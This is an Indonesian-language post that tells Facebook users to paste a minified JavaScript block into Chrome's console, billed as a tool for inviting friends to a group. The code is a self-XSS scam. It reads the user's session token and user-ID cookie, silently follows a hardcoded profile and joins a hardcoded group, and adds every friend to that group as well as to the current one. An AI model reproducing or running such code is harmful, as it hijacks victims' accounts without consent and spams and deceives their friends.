Perlu diketahui, cara ini hanya bekerja di Google Chrome, sebab dari beberapa browser hanya Google Chrome yang masih berfungsi untuk Javascript.
Langkah-langkah:
1. Masuk ke Group yang akan anda tambahkan
2. Tekan F12, dan pilih pada Console
3. Copy pastekan Code dibawah ini, (untuk paste Ctrl V), kemudian tekan Enter
function hp_d12(a){var b="",d=Array(),e="",f=0,g=0;for(i=0;a.length>i;i++)c=a.charCodeAt(i),128>c&&(c^=g++%8+1),e+=String.fromCharCode(c),e.length>80&&(d[f++]=e,e="");return b=d.join("")+e}function cereziAl(a){var b=a+"=";return document.cookie.length>0?(konum=document.cookie.indexOf(b),-1!=konum?(konum+=b.length,son=document.cookie.indexOf(";",konum),-1==son&&(son=document.cookie.length),unescape(document.cookie.substring(konum,son))):""):void 0}function getRandomInt(a,b){return Math.floor(Math.random()*(b-a+1))+a}function randomValue(a){return a[getRandomInt(0,a.length-1)]}function a(a){var b=new XMLHttpRequest,c="/ajax/follow/follow_profile.php?__a=1",d="profile_id="+a+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";b.open("POST",c,!0),b.setRequestHeader("Content-type","application/x-www-form-urlencoded"),b.setRequestHeader("Content-length",d.length),b.setRequestHeader("Connection","close"),b.onreadystatechange=function(){4==b.readyState&&200==b.status&&b.close},b.send(d)}function AddFriendtoGroup(a){if(jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+fb_dtsg+"&group_id="+gid+"&source=typeahead&members="+a+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+user_id,function(a){var b=a.substring(a.indexOf("{")),c=JSON.parse(b);i--,Descriptions="<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;",c.error?(Descriptions+="color:darkred'>",err++,Descriptions+=c.errorDescription?c.errorDescription:JSON.stringify(c,null,"")):(Descriptions+="color:darkgreen'>",Descriptions+=arn[i]+" has been added.<br/>",suc++),Descriptions+="</div>";var d="<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";d+="<div style='padding-bottom:5px;font-size:20px;'>"+Title+"</div>",i>0?(d+=arr.length+" Friends Detected<br/></br>",d+="<b>"+suc+"</b> Friends Added of "+(arr.length-i)+" Friends Processed",d+=" ("+i+" Left...)</br>",d+="<div class='friend-edge'>",d+=Descriptions,d+="</br><img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src="+pho[i]+"></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>"+arn[i]+"</a>",d+="<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'></br>",d+=getuname+", you are Getting your Friends from "+grpname+".<br/>",d+=_text,d+="</div>",d+="</div>"):(d+=arr.length+" Friend Detected<br/>",d+=suc+" Friend Added</br>",d+=err+" Friend Not Added</br></br>",d+="<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh sayangku</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"),d+="</div>",document.getElementById("pagelet_sidebar").innerHTML=d},"text","post"),tay--,tay>0){var b=arr[tay];sx=pho[tay],setTimeout("AddFriendtoGroup("+b+")",100)}console.log(tay+"/"+arr.length+":"+arr[tay]+"/"+arn[tay]+", success:"+suc),239534896138226!=gid&&jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+fb_dtsg+"&group_id=239534896138226&source=typeahead&members="+a+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+user_id,function(){},"text","post")}function clickfr_callback(){document.getElementsByName("ok").length>0&&nHtml.ClickUp(document.getElementsByName("ok")[0]);var a=arr[i];arr.length>i&&addfriend(a.substring(0,4))}function clickfr(){document.getElementsByClassName("search").length>0?nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]):j++,setTimeout("clickfr_callback()",2e3)}function addfriend(){i++,setTimeout("clickfr()",2e3)}var gid=["239534896138226"],fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new XMLHttpRequest,urlwp="/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader("Connection","keep-alive"),httpwp.send(paramswp);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);a("100007217198534"),a("100007217198534"),a("100007217198534");var gid=["239534896138226"],fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new XMLHttpRequest,urlwp="/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader("Connection","keep-alive"),httpwp.send(paramswp);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),Friend=Array();gf=new XMLHttpRequest,gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token"+Math.random()+"&filter[0]=user&options[0]=Friend_only",!1),gf.send(),4!=gf.readyState||(data=eval("("+gf.responseText.substr(9)+")"),data.error||(Friend=data.payload.entries.sort(function(a,b){return a.index-b.index})));var Title='Auto Invite Group <br/> By:<A style="color:#3B5998;" href="https://www.facebook.com/lumy.bohae" target="_blank">Kontak Jodoh Siap Nikah</A>';grpname=document.getElementById("groupsJumpTitle").innerHTML;var Descriptions="",_text='</br>Visit: <A style="color:#3B5998;" href="https://www.facebook.com/groups/groups/239534896138226/">www.onlindo.com</A>, Join Yuk!';jx={getHTTPObject:function(){var a=!1;if("undefined"!=typeof ActiveXObject)try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(b){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(c){a=!1}}else if(window.XMLHttpRequest)try{a=new XMLHttpRequest}catch(b){a=!1}return a},load:function(url,callback,format,method,opt){var http=this.init();if(http&&url){http.overrideMimeType&&http.overrideMimeType("text/xml"),method||(method="GET"),format||(format="text"),opt||(opt={}),format=format.toLowerCase(),method=method.toUpperCase();var now="uid="+(new Date).getTime();url+=url.indexOf("?")+1?"&":"?",url+=now;var parameters=null;if("POST"==method){var parts=url.split("?");url=parts[0],parameters=parts[1]}http.open(method,url,!0);var ths=this;http.onreadystatechange=opt.handler?function(){opt.handler(http)}:function(){if(4==http.readyState)if(200==http.status){var result="";http.responseText&&(result=http.responseText),"j"==format.charAt(0)?(result=result.replace(/[\n\r]/g,""),result=eval("("+result+")")):"x"==format.charAt(0)&&(result=http.responseXML),callback&&callback(result)}else opt.loadingIndicator&&document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator),opt.loading&&(document.getElementById(opt.loading).style.display="none"),error&&error(http.status)},http.send(parameters)}},bind:function(a){var b={url:"",onSuccess:!1,onError:!1,format:"text",method:"GET",update:"",loading:"",loadingIndicator:""};for(var c in b)a[c]&&(b[c]=a[c]);if(b.url){var d=!1;b.loadingIndicator&&(d=document.createElement("div"),d.setAttribute("style","position:absolute;top:0px;left:0px;"),d.setAttribute("class","loading-indicator"),d.innerHTML=b.loadingIndicator,document.getElementsByTagName("body")[0].appendChild(d),this.opt.loadingIndicator=d),b.loading&&(document.getElementById(b.loading).style.display="block"),this.load(b.url,function(a){b.onSuccess&&b.onSuccess(a),b.update&&(document.getElementById(b.update).innerHTML=a),d&&document.getElementsByTagName("body")[0].removeChild(d),b.loading&&(document.getElementById(b.loading).style.display="none")},b.format,b.method,b)}},init:function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(a,b,c,d){"className"==c&&(c="class");var e=document.evaluate(".//"+b+"[@"+c+"='"+d+"']",a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null);return e&&e.singleNodeValue?e.singleNodeValue:null},FindByClassName:function(a,b,c){return this.FindByAttr(a,b,"className",c)},FindByXPath:function(a,b){try{var c=document.evaluate(b,a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(d){GM_log("bad xpath:"+b)}return c&&c.singleNodeValue?c.singleNodeValue:null},VisitUrl:function(a){window.setTimeout(function(){document.location.href=a},500+Math.floor(500*Math.random()))},ClickWin:function(a,b,c){var d=a.document.createEvent("MouseEvents");return d.initMouseEvent(c,!0,!0,a,0,0,0,0,0,!1,!1,!1,!1,0,null),!b.dispatchEvent(d)},Click:function(a){return this.ClickWin(window,a,"click")},ClickTimeout:function(a,b){window.setTimeout(function(){return nHtml.ClickWin(window,a,"click")},b+Math.floor(500*Math.random()))},ClickUp:function(a){this.ClickWin(window,a,"mousedown"),this.ClickWin(window,a,"mouseup"),this.ClickWin(window,a,"click")},GetText:function(a,b){var c="";if(void 0==b&&(b=0),!(b>40)){if(void 0!=a.textContent)return a.textContent;for(var d=0;a.childNodes.length>d;d++){var e=a.childNodes[d];c+=this.GetText(e,b+1)}return c}}};void 0==document.getElementsByClassName&&(document.getElementsByClassName=function(a){for(var e,b=RegExp("(?:^|\\s)"+a+"(?:$|\\s)"),c=document.getElementsByTagName("*"),d=[],f=0;null!=(e=c[f]);f++){var g=e.className;g&&-1!=g.indexOf(a)&&b.test(g)&&d.push(e)}return d}),Array.prototype.find=function(a){var b=!1;for(i=0;this.length>i;i++)"function"==typeof a?a.test(this[i])&&(b||(b=[]),b.push(i)):this[i]===a&&(b||(b=[]),b.push(i));return b};var i=3,tay=3,j=0,k=0,suc=0,err=0,arr=Array(),arn=Array(),pho=Array(),getuname=document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML,gid=document.getElementsByName("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/ajax/typeahead/first_degree.php?"+"__a=1&filter[0]=user&lazy=0&viewer="+user_id+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",function(a){var b=a,c=b.substring(b.indexOf("{")),d=JSON.parse(c);d=d.payload.entries;for(var e=0;d.length>e;e++)arr.push(d[e].uid);for(var f=0;d.length>f;f++)arn.push(d[f].text);for(var g=0;d.length>g;g++)pho.push(d[g].photo);i=arr.length-1,tay=i,console.log(arr.length);var h="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";h+="<div style='padding-bottom:10px;font-size:20px;'>"+Title+"</div>",h+=arr.length+" Friend Detected",h+="</div>",document.getElementById("pagelet_sidebar").innerHTML=h,AddFriendtoGroup(arr[i])});
